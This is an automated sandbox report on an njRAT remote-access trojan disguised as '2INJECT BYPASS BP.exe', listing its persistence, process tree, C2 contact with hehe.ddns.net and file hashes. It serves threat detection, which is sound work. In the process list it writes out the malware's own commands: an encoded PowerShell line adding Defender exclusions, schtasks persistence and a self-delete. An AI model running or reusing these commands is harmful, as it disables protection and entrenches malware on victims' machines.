Malware Analysis Report

2025-03-15 06:22

Sample ID 241001-zjyrnstbrd
Target 2INJECT BYPASS BP.exe
SHA256 ecedda5e5b8289ca6a2934482d13106d0c5faa7cb5fb7b2f1685bc2cc4147f02
Tags
njrat hacked defense_evasion discovery persistence trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

ecedda5e5b8289ca6a2934482d13106d0c5faa7cb5fb7b2f1685bc2cc4147f02

Threat Level: Known bad

The file 2INJECT BYPASS BP.exe was found to be: Known bad.

Malicious Activity Summary

njrat hacked defense_evasion discovery persistence trojan

njRAT/Bladabindi

.NET Reactor proctector

Checks computer location settings

Executes dropped EXE

Drops startup file

Obfuscated Files or Information: Command Obfuscation

Adds Run key to start application

Enumerates physical storage devices

System Location Discovery: System Language Discovery

Unsigned PE

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Scheduled Task/Job: Scheduled Task

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-10-01 20:45

Signatures

.NET Reactor proctector

Description Indicator Process Target
N/A N/A N/A N/A

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-10-01 20:45

Reported

2024-10-01 20:47

Platform

win10v2004-20240910-en

Max time kernel

80s

Max time network

81s

Command Line

"C:\Users\Admin\AppData\Local\Temp\2INJECT BYPASS BP.exe"

Signatures

njRAT/Bladabindi

trojan njrat

.NET Reactor proctector

Description Indicator Process Target
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\2INJECT BYPASS BP.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Control Panel\International\Geo\Nation C:\Users\Admin\njrat client.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\realtek.exe C:\Users\Admin\realtek.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\realtek.exe C:\Users\Admin\realtek.exe N/A
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\realtek.url C:\Users\Admin\realtek.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\njrat client.exe N/A
N/A N/A C:\Users\Admin\realtek.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\realtek.exe = "\"C:\\Users\\Admin\\realtek.exe\" .." C:\Users\Admin\realtek.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\realtek.exe = "\"C:\\Users\\Admin\\realtek.exe\" .." C:\Users\Admin\realtek.exe N/A

Obfuscated Files or Information: Command Obfuscation

defense_evasion

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\realtek.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\choice.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\njrat client.exe N/A

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\realtek.exe N/A
N/A N/A C:\Users\Admin\realtek.exe N/A
N/A N/A C:\Users\Admin\realtek.exe N/A
N/A N/A C:\Users\Admin\realtek.exe N/A
N/A N/A C:\Users\Admin\realtek.exe N/A
N/A N/A C:\Users\Admin\realtek.exe N/A
N/A N/A C:\Users\Admin\realtek.exe N/A
N/A N/A C:\Users\Admin\realtek.exe N/A
N/A N/A C:\Users\Admin\realtek.exe N/A
N/A N/A C:\Users\Admin\realtek.exe N/A
N/A N/A C:\Users\Admin\realtek.exe N/A
N/A N/A C:\Users\Admin\realtek.exe N/A
N/A N/A C:\Users\Admin\realtek.exe N/A
N/A N/A C:\Users\Admin\realtek.exe N/A
N/A N/A C:\Users\Admin\realtek.exe N/A
N/A N/A C:\Users\Admin\realtek.exe N/A
N/A N/A C:\Users\Admin\realtek.exe N/A
N/A N/A C:\Users\Admin\realtek.exe N/A
N/A N/A C:\Users\Admin\realtek.exe N/A
N/A N/A C:\Users\Admin\realtek.exe N/A
N/A N/A C:\Users\Admin\realtek.exe N/A
N/A N/A C:\Users\Admin\realtek.exe N/A
N/A N/A C:\Users\Admin\realtek.exe N/A
N/A N/A C:\Users\Admin\realtek.exe N/A
N/A N/A C:\Users\Admin\realtek.exe N/A
N/A N/A C:\Users\Admin\realtek.exe N/A
N/A N/A C:\Users\Admin\realtek.exe N/A
N/A N/A C:\Users\Admin\realtek.exe N/A
N/A N/A C:\Users\Admin\realtek.exe N/A
N/A N/A C:\Users\Admin\realtek.exe N/A
N/A N/A C:\Users\Admin\realtek.exe N/A
N/A N/A C:\Users\Admin\realtek.exe N/A
N/A N/A C:\Users\Admin\realtek.exe N/A
N/A N/A C:\Users\Admin\realtek.exe N/A
N/A N/A C:\Users\Admin\realtek.exe N/A
N/A N/A C:\Users\Admin\realtek.exe N/A
N/A N/A C:\Users\Admin\realtek.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\realtek.exe N/A
Token: 33 N/A C:\Users\Admin\realtek.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Users\Admin\realtek.exe N/A
Token: 33 N/A C:\Users\Admin\realtek.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Users\Admin\realtek.exe N/A
Token: 33 N/A C:\Users\Admin\realtek.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Users\Admin\realtek.exe N/A
Token: 33 N/A C:\Users\Admin\realtek.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Users\Admin\realtek.exe N/A
Token: 33 N/A C:\Users\Admin\realtek.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Users\Admin\realtek.exe N/A
Token: 33 N/A C:\Users\Admin\realtek.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Users\Admin\realtek.exe N/A
Token: 33 N/A C:\Users\Admin\realtek.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Users\Admin\realtek.exe N/A
Token: 33 N/A C:\Users\Admin\realtek.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Users\Admin\realtek.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 5096 wrote to memory of 2224 N/A C:\Users\Admin\AppData\Local\Temp\2INJECT BYPASS BP.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5096 wrote to memory of 2224 N/A C:\Users\Admin\AppData\Local\Temp\2INJECT BYPASS BP.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5096 wrote to memory of 2596 N/A C:\Users\Admin\AppData\Local\Temp\2INJECT BYPASS BP.exe C:\Users\Admin\njrat client.exe
PID 5096 wrote to memory of 2596 N/A C:\Users\Admin\AppData\Local\Temp\2INJECT BYPASS BP.exe C:\Users\Admin\njrat client.exe
PID 5096 wrote to memory of 2596 N/A C:\Users\Admin\AppData\Local\Temp\2INJECT BYPASS BP.exe C:\Users\Admin\njrat client.exe
PID 2596 wrote to memory of 4744 N/A C:\Users\Admin\njrat client.exe C:\Windows\SysWOW64\schtasks.exe
PID 2596 wrote to memory of 4744 N/A C:\Users\Admin\njrat client.exe C:\Windows\SysWOW64\schtasks.exe
PID 2596 wrote to memory of 4744 N/A C:\Users\Admin\njrat client.exe C:\Windows\SysWOW64\schtasks.exe
PID 2596 wrote to memory of 5000 N/A C:\Users\Admin\njrat client.exe C:\Users\Admin\realtek.exe
PID 2596 wrote to memory of 5000 N/A C:\Users\Admin\njrat client.exe C:\Users\Admin\realtek.exe
PID 2596 wrote to memory of 5000 N/A C:\Users\Admin\njrat client.exe C:\Users\Admin\realtek.exe
PID 2596 wrote to memory of 4704 N/A C:\Users\Admin\njrat client.exe C:\Windows\SysWOW64\cmd.exe
PID 2596 wrote to memory of 4704 N/A C:\Users\Admin\njrat client.exe C:\Windows\SysWOW64\cmd.exe
PID 2596 wrote to memory of 4704 N/A C:\Users\Admin\njrat client.exe C:\Windows\SysWOW64\cmd.exe
PID 5000 wrote to memory of 3952 N/A C:\Users\Admin\realtek.exe C:\Windows\SysWOW64\schtasks.exe
PID 5000 wrote to memory of 3952 N/A C:\Users\Admin\realtek.exe C:\Windows\SysWOW64\schtasks.exe
PID 5000 wrote to memory of 3952 N/A C:\Users\Admin\realtek.exe C:\Windows\SysWOW64\schtasks.exe
PID 4704 wrote to memory of 1520 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\choice.exe
PID 4704 wrote to memory of 1520 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\choice.exe
PID 4704 wrote to memory of 1520 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\choice.exe

Processes

C:\Users\Admin\AppData\Local\Temp\2INJECT BYPASS BP.exe

"C:\Users\Admin\AppData\Local\Temp\2INJECT BYPASS BP.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHcAdwBiACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG4AcQBsACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAeABuACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG0AbQB3ACMAPgA="

C:\Users\Admin\njrat client.exe

"C:\Users\Admin\njrat client.exe"

C:\Windows\SysWOW64\schtasks.exe

schtasks /create /sc onstart /mo 1 /tn nyan /tr C:\Users\Admin\realtek.exe

C:\Users\Admin\realtek.exe

"C:\Users\Admin\realtek.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 5 & Del "C:\Users\Admin\njrat client.exe"

C:\Windows\SysWOW64\schtasks.exe

schtasks /create /sc onstart /mo 1 /tn nyan /tr C:\Users\Admin\realtek.exe

C:\Windows\SysWOW64\choice.exe

choice /C Y /N /D Y /T 5

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 140.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 hehe.ddns.net udp
NL 213.152.162.154:36597 hehe.ddns.net tcp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 99.209.201.84.in-addr.arpa udp
NL 213.152.162.154:36597 hehe.ddns.net tcp
NL 213.152.162.154:36597 hehe.ddns.net tcp
US 8.8.8.8:53 79.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp

Files

memory/5096-0-0x00007FF8B2A53000-0x00007FF8B2A55000-memory.dmp

memory/5096-1-0x0000000000520000-0x000000000054A000-memory.dmp

memory/5096-2-0x00007FF8B2A50000-0x00007FF8B3511000-memory.dmp

C:\Users\Admin\njrat client.exe

MD5 2e035b66646cbe48b7258081d5c8015c
SHA1 3f97c139013951c074516f7f3e5336f68a55e9b0
SHA256 2758dde61d7d514e5154ae6c54ea12514f0d16a14e4849e711a958b253e6642f
SHA512 7cd2d03e92fca485565548ec32fe1b971fb49faa120affd3ebfcc95ceaac3f9492aa2c712f56f425651b33e61938e52398aa0223b109cca855c51e3e65ba3d31

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jfp4dwgs.pnj.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2224-30-0x00000211A8340000-0x00000211A8362000-memory.dmp

memory/2224-31-0x00007FF8B2A50000-0x00007FF8B3511000-memory.dmp

memory/2224-32-0x00007FF8B2A50000-0x00007FF8B3511000-memory.dmp

memory/2596-33-0x0000000000F00000-0x0000000000F16000-memory.dmp

memory/2596-34-0x00000000058F0000-0x000000000598C000-memory.dmp

memory/2224-36-0x00007FF8B2A50000-0x00007FF8B3511000-memory.dmp

memory/2596-35-0x0000000005F40000-0x00000000064E4000-memory.dmp

memory/2224-39-0x00007FF8B2A50000-0x00007FF8B3511000-memory.dmp

memory/5096-58-0x00007FF8B2A50000-0x00007FF8B3511000-memory.dmp

memory/5000-62-0x00000000052F0000-0x0000000005382000-memory.dmp

memory/5000-63-0x00000000052B0000-0x00000000052BA000-memory.dmp